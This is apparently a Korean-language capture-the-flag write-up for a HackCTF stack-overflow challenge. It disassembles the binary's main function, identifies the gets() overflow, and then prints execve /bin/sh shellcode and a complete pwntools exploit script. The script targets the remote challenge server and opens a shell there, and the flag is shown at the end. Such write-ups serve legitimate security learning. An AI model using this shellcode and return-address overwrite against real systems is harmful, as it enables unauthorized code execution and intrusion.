메인 함수를 덤프뜬 모습
Dump of assembler code for function main:
0x080484cb <+0>: push ebp
0x080484cc <+1>: mov ebp,esp
0x080484ce <+3>: sub esp,0x14
0x080484d1 <+6>: mov eax,ds:0x804a040
0x080484d6 <+11>: push 0x0
0x080484d8 <+13>: push 0x2
0x080484da <+15>: push 0x0
0x080484dc <+17>: push eax
0x080484dd <+18>: call 0x80483b0 <setvbuf@plt>
0x080484e2 <+23>: add esp,0x10
0x080484e5 <+26>: push 0x80485b0
0x080484ea <+31>: call 0x8048380 <printf@plt>
0x080484ef <+36>: add esp,0x4
0x080484f2 <+39>: push 0x32
0x080484f4 <+41>: push 0x804a060
0x080484f9 <+46>: push 0x0
0x080484fb <+48>: call 0x8048370 <read@plt>
0x08048500 <+53>: add esp,0xc
0x08048503 <+56>: push 0x80485b8
0x08048508 <+61>: call 0x8048380 <printf@plt>
0x0804850d <+66>: add esp,0x4
0x08048510 <+69>: lea eax,[ebp-0x14]
0x08048513 <+72>: push eax
0x08048514 <+73>: call 0x8048390 <gets@plt>
0x08048519 <+78>: add esp,0x4
0x0804851c <+81>: mov eax,0x0
0x08048521 <+86>: leave
0x08048522 <+87>: ret
End of assembler dump.
setvbuf를 통해 입력 buf를 초기화시켜주고
printf문을 통해서 "Name : "을 출력시킨다.
이후 name이라는 공간에 0x32만큼 입력을 받고
다시 printf문을 통해서 "input : "을 출력시킨다.
gets함수를 통해 0x14(s)만큼 입력을 받는다.
이 때 gets에서 BOF가 터지는 것을 알 수 있다.
name이라는 공간은 BSS에 위치한다.
s의 크기는 0x14로 쉘코드를 모두 넣기에는 부족하다. 따라서 name에 shellcode를 넣고 s를 활용해 BOF를 시도한다.
name : \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80
s : dummy(0x14 + 4) + name's addr(0x804a060)
from pwn import *
#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz",3004)
payload1 = '\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x6a\x0e\x58\x48\x48\x48\x99\xcd\x80'
payload2 = 'A' *(0x14 + 4) + p32(0x0804A060)
p.sendline(payload1)
p.sendline(payload2)
p.interactive()
shell을 획득한 모습
FLAG : HackCTF{1_l0v3_70p_pwn3r_m4lhyuk}
반응형
'WriteUp > HackCTF' 카테고리의 다른 글
[HackCTF] Simple Overflow Ver 2 (0) | 2021.08.08 |
---|---|
[HackCTF] x64 simple_size_BOF (0) | 2021.08.08 |
[HackCTF] Basic_FSB (0) | 2021.08.08 |
[HackCTF] gift (0) | 2021.08.08 |
[HackCTF] RTL_World (0) | 2021.08.08 |